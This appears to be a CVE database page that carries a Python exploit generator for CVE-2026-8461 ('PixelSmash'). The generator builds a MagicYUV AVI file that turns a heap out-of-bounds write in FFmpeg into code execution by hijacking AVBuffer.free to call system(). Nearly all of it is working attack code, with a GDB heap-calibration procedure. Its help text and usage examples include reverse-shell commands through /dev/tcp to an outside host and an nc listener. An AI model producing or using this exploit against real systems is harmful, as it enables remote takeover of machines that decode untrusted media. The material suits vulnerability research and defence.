5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve_2026_8461.py PY
#!/usr/bin/env python3
"""
CVE-2026-8461 (PixelSmash) — Full RCE Exploit Generator
=========================================================
Implements the complete exploit chain:
  OOB Write → AVBuffer.free hijack → system() → arbitrary command execution

ARCHITECTURE:
  This exploit turns a heap OOB write in FFmpeg's MagicYUV decoder into
  arbitrary code execution by surgically overwriting the AVBuffer struct
  that sits adjacent to the chroma plane buffer on glibc's heap.

  The key technique is LEFT-PREDICTION ENCODING: MagicYUV's decoder applies
  cumulative-sum prediction to raw pixel data. We must apply the INVERSE
  transform to our payload bytes so that after prediction, the desired
  values land at the correct heap locations.

PREREQUISITES (for RCE):
  1. ASLR disabled (setarch x86_64 -R) — required for hardcoded addresses
  2. glibc malloc (jemalloc breaks the heap layout)
  3. Calibrated heap offsets for the target ffmpeg build + file path length
  4. Vulnerable FFmpeg (without fix commits)

USAGE:
  # 1. Calibration (on target machine with GDB):
  python exploit_cve_2026_8461.py --calibrate > calibrate.gdb
  gdb -q -x calibrate.gdb --args ffmpeg -i test.avi -f null -
  # Parse the GDB output to get heap layout

  # 2. Generate exploit (with calibration):
  python exploit_cve_2026_8461.py --system 0x7f... --cmd "bash -c '...'"
       --cb-avbuffer-off 256 --cr-topchunk-off 128 [--output exploit.avi]

  # 3. Deliver to target:
  ffmpeg -i exploit.avi -f null -    # OOB write → RCE

REFERENCE:
  https://jfrog.com/blog/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons/
"""

import struct
import sys
import os
import argparse
import json
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Tuple

# ================================================================
# Frame geometry — must match the calibration target
# ================================================================
WIDTH = 1280          # coded_width → chroma_width = 640
HEIGHT = 32           # coded_height → chroma_height allocated = 16 rows
SLICE_HEIGHT = 31     # odd → AV_CEIL_RSHIFT(31,1)=16 → 2 slices × 16 = 32 chroma rows
SLICE_WIDTH = 1280    # must equal WIDTH
FPS = 25
FORMAT_YUV420P = 0x69
PLANES = 3
NB_SLICES = (HEIGHT + SLICE_HEIGHT - 1) // SLICE_HEIGHT  # = 2
HSHIFT = [0, 1, 1]
VSHIFT = [0, 1, 1]


def p32(x):
    return struct.pack('<I', x)


def p16(x):
    return struct.pack('<H', x)


def p64(x):
    return struct.pack('<Q', x)


def u32(b, off=0):
    return struct.unpack_from('<I', b, off)[0]


def u64(b, off=0):
    return struct.unpack_from('<Q', b, off)[0]


def ceil_rshift(val, shift):
    return -(-val >> shift)


# ================================================================
# Left-prediction encode/decode
# ================================================================

def left_pred_encode(desired: bytes) -> bytes:
    """Inverse left-prediction: produce raw bytes that decode to `desired`.

    Decoder applies:  dst[i] = sum(raw[0..i]) & 0xFF
    We need:          raw[0] = desired[0]
                      raw[i] = (desired[i] - desired[i-1]) & 0xFF
    """
    raw = bytearray(len(desired))
    raw[0] = desired[0]
    for i in range(1, len(desired)):
        raw[i] = (desired[i] - desired[i-1]) & 0xFF
    return bytes(raw)


def left_pred_decode(raw: bytes) -> bytes:
    """Apply left-prediction (for verification)."""
    decoded = bytearray(len(raw))
    acc = 0
    for i, b in enumerate(raw):
        acc = (acc + b) & 0xFF
        decoded[i] = acc
    return bytes(decoded)


# ================================================================
# Calibration data
# ================================================================

@dataclass
class TargetCalibration:
    """Heap layout calibration for a specific target.

    All offsets are relative to the start of the OOB write region
    (i.e., one byte past the end of the Cb chroma plane buffer).
    """
    # Target libc function addresses (ASLR disabled)
    system_addr: int = 0x4141414141414141   # address of system() in libc

    # Payload layout: OOB region byte offsets
    cmd_at: int = 0         # offset where shell command string starts in OOB region
    cmd_maxlen: int = 88    # available bytes for NUL-terminated command

    # AVBuffer struct location (relative to OOB start)
    avbuffer_at: int = 256  # offset to AVBuffer for Cb plane

    # AVBuffer field offsets (within AVBuffer struct)
    avb_refcount_off: int = 16   # atomic_uint refcount
    avb_free_off: int = 24       # void (*free)(void*, uint8_t*)
    avb_opaque_off: int = 32     # void *opaque
    avb_flags_off: int = 40      # int flags

    # Heap addresses (ASLR disabled, known from calibration)
    cmd_heap_addr: int = 0x4242424242424242   # heap addr of command string (OOB+cmd_at)

    # Glibc chunk metadata that must be preserved
    # Key: absolute offset in OOB region → bytes to preserve (16-byte chunk headers)
    glibc_metadata: Dict[int, bytes] = field(default_factory=dict)

    # Cr plane OOB metadata to preserve
    cr_metadata: Dict[int, bytes] = field(default_factory=dict)

    # Additional data that must be preserved verbatim
    preserve: Dict[int, bytes] = field(default_factory=dict)

    def to_dict(self) -> dict:
        return {
            'system_addr': hex(self.system_addr),
            'cmd_at': self.cmd_at,
            'cmd_maxlen': self.cmd_maxlen,
            'avbuffer_at': self.avbuffer_at,
            'avb_refcount_off': self.avb_refcount_off,
            'avb_free_off': self.avb_free_off,
            'avb_opaque_off': self.avb_opaque_off,
            'cmd_heap_addr': hex(self.cmd_heap_addr),
            'glibc_metadata': {hex(k): v.hex() for k, v in self.glibc_metadata.items()},
            'cr_metadata': {hex(k): v.hex() for k, v in self.cr_metadata.items()},
            'preserve': {hex(k): v.hex() for k, v in self.preserve.items()},
        }

    @classmethod
    def from_dict(cls, d: dict) -> 'TargetCalibration':
        return cls(
            system_addr=int(d['system_addr'], 16),
            cmd_at=d.get('cmd_at', 0),
            cmd_maxlen=d.get('cmd_maxlen', 88),
            avbuffer_at=d.get('avbuffer_at', 256),
            avb_refcount_off=d.get('avb_refcount_off', 16),
            avb_free_off=d.get('avb_free_off', 24),
            avb_opaque_off=d.get('avb_opaque_off', 32),
            cmd_heap_addr=int(d.get('cmd_heap_addr', '0x4242424242424242'), 16),
            glibc_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('glibc_metadata', {}).items()},
            cr_metadata={int(k, 16): bytes.fromhex(v) for k, v in d.get('cr_metadata', {}).items()},
            preserve={int(k, 16): bytes.fromhex(v) for k, v in d.get('preserve', {}).items()},
        )


# ================================================================
# OOB Payload builder
# ================================================================

def build_cb_oob_payload(cal: TargetCalibration, shell_cmd: str) -> bytearray:
    """Build the 640-byte OOB payload for the Cb chroma plane.

    This payload is written past the Cb pixel buffer. It must:
    1. Place the shell command in a zero-filled region
    2. Preserve all glibc chunk metadata
    3. Overwrite AVBuffer.free → system()
    4. Overwrite AVBuffer.opaque → heap address of command string
    5. Set AVBuffer.refcount → 1 (so decrement triggers free callback)
    """
    chroma_width = ceil_rshift(WIDTH, 1)  # 640

    # Start with zeros as the "hole" baseline
    payload = bytearray(chroma_width)

    # 1. Place shell command at cmd_at (NUL-terminated)
    cmd_bytes = shell_cmd.encode('latin-1') + b'\x00'
    if len(cmd_bytes) > cal.cmd_maxlen:
        raise ValueError(f"Command too long: {len(cmd_bytes)} > {cal.cmd_maxlen}")
    payload[cal.cmd_at:cal.cmd_at + len(cmd_bytes)] = cmd_bytes

    # 2. Preserve glibc chunk metadata
    for off, data in cal.glibc_metadata.items():
        if off + len(data) <= chroma_width:
            payload[off:off + len(data)] = data

    # 3. Overwrite AVBuffer fields
    avb = cal.avbuffer_at

    # AVBuffer.refcount → 1 (uint32)
    if avb + cal.avb_refcount_off + 4 <= chroma_width:
        struct.pack_into('<I', payload, avb + cal.avb_refcount_off, 1)

    # AVBuffer.free → system() (uint64)
    if avb + cal.avb_free_off + 8 <= chroma_width:
        struct.pack_into('<Q', payload, avb + cal.avb_free_off, cal.system_addr)

    # AVBuffer.opaque → command string heap address (uint64)
    if avb + cal.avb_opaque_off + 8 <= chroma_width:
        struct.pack_into('<Q', payload, avb + cal.avb_opaque_off, cal.cmd_heap_addr)

    # 4. Apply other preserved data
    for off, data in cal.preserve.items():
        if off + len(data) <= chroma_width:
            payload[off:off + len(data)] = data

    return payload


def build_cr_oob_payload(cal: TargetCalibration) -> bytearray:
    """Build the OOB payload for the Cr chroma plane.

    The Cr plane OOB write lands on different heap region (typically
    tcache entries and the glibc top chunk). Must preserve top chunk
    metadata or system()'s internal malloc will fail.

    If no calibration data for Cr, fill with zeros (worst case: crash).
    """
    chroma_width = ceil_rshift(WIDTH, 1)  # 640
    payload = bytearray(chroma_width)

    for off, data in cal.cr_metadata.items():
        if off + len(data) <= chroma_width:
            payload[off:off + len(data)] = data

    return payload


# ================================================================
# MagicYUV frame builder
# ================================================================

def build_exploit_frame(cal: TargetCalibration, shell_cmd: str,
                        num_frame: int = 0) -> bytes:
    """Build a single MagicYUV frame with the exploit payload.

    Frame structure:
      Slice 0 (in-bounds):  zeroed chroma data (so acc=0 for prediction)
      Slice 1 (OOB):        left-prediction-encoded exploit payload
    """
    chroma_width = ceil_rshift(WIDTH, 1)  # 640

    # Build OOB payloads
    cb_payload = build_cb_oob_payload(cal, shell_cmd)
    cr_payload = build_cr_oob_payload(cal)

    # Apply INVERSE left-prediction so that after decoder's prediction,
    # the correct bytes land on the heap
    cb_raw = left_pred_encode(bytes(cb_payload))
    cr_raw = left_pred_encode(bytes(cr_payload))

    # Build Huffman table: all 256 symbols = 8-bit codes (valid, minimal, unused in raw mode)
    huff_table = b''
    for _ in range(PLANES):
        huff_table += bytes([0x88, 0xFF])

    # Per-plane per-slice dimensions
    # Plane 0 (Y): vshift=0, hshift=0
    # Plane 1 (U/Cb): vshift=1, hshift=1
    # Plane 2 (V/Cr): vshift=1, hshift=1

    plane_configs = [
        # (hshift, vshift, width, sheight)
        (0, 0, WIDTH, ceil_rshift(SLICE_HEIGHT, 0)),
        (1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)),
        (1, 1, chroma_width, ceil_rshift(SLICE_HEIGHT, 1)),
    ]

    all_plane_slices = []   # [plane][slice] = bytes
    slice_sizes = []        # [plane][slice] = int

    for plane in range(PLANES):
        hshift, vshift, pw, psheight = plane_configs[plane]
        plane_slices = []
        plane_sizes = []

        for sl in range(NB_SLICES):
            remaining = HEIGHT - sl * SLICE_HEIGHT
            height = ceil_rshift(min(SLICE_HEIGHT, remaining), vshift)

            # flags=1 (raw), pred=1 (LEFT)
            header = bytes([1, 1])

            if sl == 0:
                # In-bounds slice: zero all pixel data
                # This ensures left-prediction acc starts at 0 for the OOB slice
                raw_data = b'\x00' * (pw * height)
            elif plane == 0:
                # Y plane: in-bounds (vshift=0, no OOB for Y)
                raw_data = b'\x00' * (pw * height)
            elif plane == 1:
                # U/Cb plane: OOB slice! Use encoded payload
                raw_data = cb_raw[:pw * height]
            else:
                # V/Cr plane: OOB slice! Use encoded payload
                raw_data = cr_raw[:pw * height]

            slice_bytes = header + raw_data
            plane_slices.append(slice_bytes)
            plane_sizes.append(len(slice_bytes))

        all_plane_slices.append(plane_slices)
        slice_sizes.append(plane_sizes)

    # Compute cumulative offsets in slice data region
    cum = 0
    slice_offsets = []  # [plane][slice] = offset
    for plane in range(PLANES):
        po = []
        for sl in range(NB_SLICES):
            po.append(cum)
            cum += slice_sizes[plane][sl]
        slice_offsets.append(po)

    # Concatenate all slice data
    all_slice_data = b''
    for plane in range(PLANES):
        for sl in range(NB_SLICES):
            all_slice_data += all_plane_slices[plane][sl]

    # Assemble bitstream
    fixed_header_size = 36
    offset_table_size = NB_SLICES * PLANES * 4  # 24
    verif_size = 1
    skip_size = NB_SLICES * PLANES             # 6
    huff_size = len(huff_table)                 # 6

    header_size = (fixed_header_size + offset_table_size +
                   verif_size + skip_size + huff_size)

    # Offset table
    offset_bytes = b''
    for plane in range(PLANES):
        for sl in range(NB_SLICES):
            offset_bytes += p32(slice_offsets[plane][sl])

    post_offset = bytes([PLANES]) + b'\x00' * skip_size

    # Fixed header (36 bytes)
    header_part = bytearray()
    header_part += b'MAGY'
    header_part += p32(header_size)
    header_part += bytes([7])                     # version = 7
    header_part += bytes([FORMAT_YUV420P])        # format
    header_part += b'\x00'                        # skip
    header_part += b'\x00'                        # color_matrix
    header_part += b'\x00'                        # flags (bit 1 = 0 → not interlaced)
    header_part += b'\x00\x00\x00'                # skip 3
    header_part += p32(WIDTH)
    header_part += p32(HEIGHT)
    header_part += p32(SLICE_WIDTH)
    header_part += p32(SLICE_HEIGHT)              # ← triggers OOB
    header_part += b'\x00\x00\x00\x00'            # skip 4

    assert len(header_part) == fixed_header_size

    frame = (bytes(header_part) + offset_bytes + post_offset +
             huff_table + all_slice_data)
    assert len(frame) == header_size + len(all_slice_data)

    return frame


# ================================================================
# AVI container builder
# ================================================================

def build_avi(frames: List[bytes]) -> bytes:
    """Wrap exploit frames in an AVI container."""
    n = len(frames)
    fsz = len(frames[0])

    # BITMAPINFOHEADER
    bmih = bytearray()
    bmih += p32(40) + p32(WIDTH) + p32(HEIGHT)
    bmih += p16(1) + p16(24)
    bmih += b'MAGY' + p32(fsz) + p32(0) * 4

    # Stream header
    strh = bytearray()
    strh += b'vids' + b'MAGY'
    strh += p32(0) + p16(0) + p16(0) + p32(0)  # flags, prio, lang, init_frames
    strh += p32(1) + p32(FPS)                   # scale, rate
    strh += p32(0) + p32(n)                     # start, length
    strh += p32(fsz) + p32(0xFFFFFFFF) + p32(0)  # buf_size, quality, sample_size
    strh += p16(0) + p16(0) + p16(WIDTH) + p16(HEIGHT)

    # Main AVI header
    avih = bytearray()
    avih += p32(int(1000000 / FPS))  # usec_per_frame
    avih += p32(0) * 3               # max_bytes, padding, flags
    avih += p32(n)                   # total_frames
    avih += p32(0) + p32(1)          # init_frames, streams
    avih += p32(fsz)                 # buf_size
    avih += p32(WIDTH) + p32(HEIGHT)
    avih += p32(0) * 4

    def riff_chunk(fcc, data):
        c = fcc + p32(len(data)) + data
        if len(data) & 1:
            c += b'\x00'
        return c

    def list_chunk(fcc, lt, data):
        return riff_chunk(fcc, lt + data)

    # Build hierarchy
    strf_c = riff_chunk(b'strf', bytes(bmih))
    strl_l = list_chunk(b'LIST', b'strl', riff_chunk(b'strh', bytes(strh)) + strf_c)
    hdrl_l = list_chunk(b'LIST', b'hdrl', riff_chunk(b'avih', bytes(avih)) + strl_l)

    # Movie data + index
    movi_data = b''
    idx1 = b''
    offset = 0
    for f in frames:
        chunk = riff_chunk(b'00dc', f)
        idx1 += b'00dc' + p32(0x10) + p32(offset + 8) + p32(len(f))
        movi_data += chunk
        offset += len(chunk)

    movi_l = list_chunk(b'LIST', b'movi', movi_data)
    idx1_c = riff_chunk(b'idx1', idx1)

    return riff_chunk(b'RIFF', b'AVI ' + hdrl_l + movi_l + idx1_c)


# ================================================================
# GDB calibration script generator
# ================================================================

GDB_CALIBRATE_SCRIPT = """\
# GDB calibration script for CVE-2026-8461 exploit
# Run: gdb -q -x this_script.gdb --args ffmpeg -i POC_FILE -f null -
#
# This script captures the heap layout at the OOB write point to determine
# exact offsets for glibc metadata and AVBuffer placement.

set pagination off
set confirm off

# Set the path to the POC file (must match target file path length!)
set $pocfile = "{poc_file}"

# Breakpoint at the OOB write location
# bytestream_get_buffer is called at magicyuv.c:293 for the raw-mode copy
break bytestream_get_buffer
condition 1 $_regex((char*)$rdi, ".*")

# Alternative: break right before the OOB slice decode
# Break at the start of magy_decode_slice, check if j==1 (second slice)
break magy_decode_slice
condition 2 $rdx == 1

commands 2
  silent
  set $plane = $rcx
  printf "=== Slice %d Plane %d ===\\n", $rdx, $plane
  # For plane 1 (Cb), capture the heap layout
  if $plane == 1
    set $cb_end = $rdi
    printf "Cb buffer end: %p\\n", $cb_end
    # Dump 640 bytes past buffer end
    x/160gx $cb_end
  end
  if $plane == 2
    set $cr_end = $rdi
    printf "Cr buffer end: %p\\n", $cr_end
    x/160gx $cr_end
  end
  continue
end

# Also break before av_buffer_unref to confirm overwrite worked
break av_buffer_unref
commands 3
  silent
  printf "=== av_buffer_unref called ===\\n"
  printf "buf->data:   %p\\n", ((AVBuffer*)$rdi)->data
  printf "buf->free:   %p\\n", ((AVBuffer*)$rdi)->free
  printf "buf->opaque: %p\\n", ((AVBuffer*)$rdi)->opaque
  printf "buf->refcount: %d\\n", ((AVBuffer*)$rdi)->refcount
  continue
end

run
quit
"""


def print_calibrate_help():
    print("""
=== GDB Heap Calibration Procedure ===

1. BUILD A BASELINE POC:
   python exploit_cve_2026_8461.py --baseline -o baseline.avi

2. ON THE TARGET (Linux with ASLR disabled):
   # Break before the OOB write to dump heap layout
   gdb -q --args ffmpeg -i baseline.avi -f null -
   (gdb) break magy_decode_slice if j == 1
   (gdb) run
   # When breakpoint hits for Cb plane (plane == 1):
   (gdb) info registers rdi
   # $rdi points to the current write destination (OOB start)
   (gdb) x/80gx $rdi-0x100
   # This shows the heap from 256 bytes before OOB start

3. IDENTIFY KEY STRUCTURES:
   Look for the AVBuffer struct in the heap dump:
   - AVBuffer.data: pointer to a heap address (the Cb plane data)
   - AVBuffer.size: small value like 0x2000-0x3000
   - AVBuffer.refcount: usually 1
   - AVBuffer.free: function pointer (points into libavutil.so)

   The AVBuffer is typically 256 bytes past the Cb plane end.
   Record its offset relative to OOB start.

4. FIND glibc METADATA:
   glibc malloc_chunk headers are 16 bytes:
   [prev_size:8][size:8]
   Size's low bit = PREV_INUSE flag.
   Record the EXACT bytes and offsets of all chunk headers in the OOB range.

5. FIND system() ADDRESS:
   (gdb) print system
   Record &system (e.g., 0x7ffff7a5d290)

6. CREATE CALIBRATION FILE (calibration.json):
   {
     "system_addr": "0x7ffff7a5d290",
     "cmd_at": 0,
     "cmd_maxlen": 88,
     "avbuffer_at": 256,
     "avb_refcount_off": 16,
     "avb_free_off": 24,
     "avb_opaque_off": 32,
     "cmd_heap_addr": "0x5555555XXXXX",
     "glibc_metadata": {
       "0x58": "hex bytes of chunk header at OOB+0x58",
       "0xf8": "hex bytes of chunk header at OOB+0xf8"
     },
     "cr_metadata": {
       "0x20": "hex bytes of tcache entry",
       "0x30": "hex bytes of top chunk header"
     }
   }

7. GENERATE EXPLOIT:
   python exploit_cve_2026_8461.py --calibration calibration.json
        --cmd "bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'"
        -o exploit.avi
""")


# ================================================================
# Main
# ================================================================

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-8461 (PixelSmash) RCE Exploit Generator',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Generate baseline POC (OOB write only, no payload)
  %(prog)s --baseline -o baseline.avi

  # Generate RCE exploit with calibration
  %(prog)s --calibration calib.json \\
           --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \\
           -o exploit.avi

  # Quick RCE with inline parameters (ASLR must be disabled)
  %(prog)s --system 0x7ffff7a5d290 --cmd-heap 0x555555560000 \\
           --cmd "id > /tmp/pwned" -o exploit.avi

  # Print calibration guide
  %(prog)s --calibrate
        """)

    # Output
    parser.add_argument('-o', '--output', default='exploit_cve_2026_8461.avi')

    # Calibration
    parser.add_argument('--calibration', '-c', help='JSON calibration file')
    parser.add_argument('--calibrate', action='store_true',
                        help='Print GDB calibration guide')

    # Inline calibration overrides
    parser.add_argument('--system', help='Address of system() in libc')
    parser.add_argument('--cmd-heap', help='Heap address of command string')
    parser.add_argument('--avbuffer-off', type=int, default=256,
                        help='Offset to AVBuffer from OOB start (default: 256)')

    # Payload
    parser.add_argument('--cmd', default='id > /dev/stderr',
                        help='Shell command to execute (default: "id > /dev/stderr")')
    parser.add_argument('--frames', type=int, default=1,
                        help='Number of frames (each triggers RCE independently)')

    # Baseline mode
    parser.add_argument('--baseline', action='store_true',
                        help='Generate baseline POC (OOB write only, no RCE payload)')

    args = parser.parse_args()

    # Calibration guide
    if args.calibrate:
        print_calibrate_help()
        return

    # Baseline mode
    if args.baseline:
        print("[*] Generating baseline OOB-write POC (no RCE payload)")
        cal = TargetCalibration()  # dummy
        shell_cmd = 'BASELINE'
    elif args.calibration:
        with open(args.calibration) as f:
            cal = TargetCalibration.from_dict(json.load(f))
        shell_cmd = args.cmd
    else:
        # Build calibration from CLI args
        cal = TargetCalibration()
        if args.system:
            cal.system_addr = int(args.system, 16)
        if args.cmd_heap:
            cal.cmd_heap_addr = int(args.cmd_heap, 16)
        cal.avbuffer_at = args.avbuffer_off
        shell_cmd = args.cmd
        print("[!] Using inline calibration parameters")
        print(f"    system()    = {hex(cal.system_addr)}")
        print(f"    cmd_heap    = {hex(cal.cmd_heap_addr)}")
        print(f"    avbuffer_at = {cal.avbuffer_at}")
        print("[!] Ensure ASLR is disabled and glibc metadata is preserved")
        if not args.calibration:
            print("[!] WARNING: No glibc metadata calibration provided!")
            print("[!] The exploit will likely crash before RCE without proper calibration.")
            print("[!] Use --calibrate for instructions or --calibration with a JSON file.")

    # Build frames
    print(f"[*] Building {args.frames} exploit frame(s)...")
    frames = []
    for i in range(args.frames):
        frame = build_exploit_frame(cal, shell_cmd, num_frame=i)
        frames.append(frame)

    # Wrap in AVI
    avi = build_avi(frames)
    dur = args.frames / FPS

    print(f"[*] Frame size: {len(frames[0])} bytes")
    print(f"[*] AVI size: {len(avi)} bytes ({len(avi)/1024:.1f} KB)")
    print(f"[*] Duration: {dur:.2f}s ({args.frames} frames @ {FPS} fps)")
    print(f"[*] Command:  {shell_cmd}")

    with open(args.output, 'wb') as f:
        f.write(avi)

    print(f"[+] Exploit written: {args.output}")
    print()
    print("Delivery:")
    print(f"  ffmpeg -i {args.output} -f null -")
    print()
    if args.baseline:
        print("Baseline mode: OOB write fires but no AVBuffer hijack.")
        print("Expected: heap-buffer-overflow (ASAN) / crash / silent corruption")
    else:
        print("RCE mode: AVBuffer.free → system(cmd) on frame cleanup.")
        print("Expected: shell command executes, then process crashes.")
        print("Monitor:  nc -l <PORT>  (for reverse shell payloads)")


if __name__ == '__main__':
    main()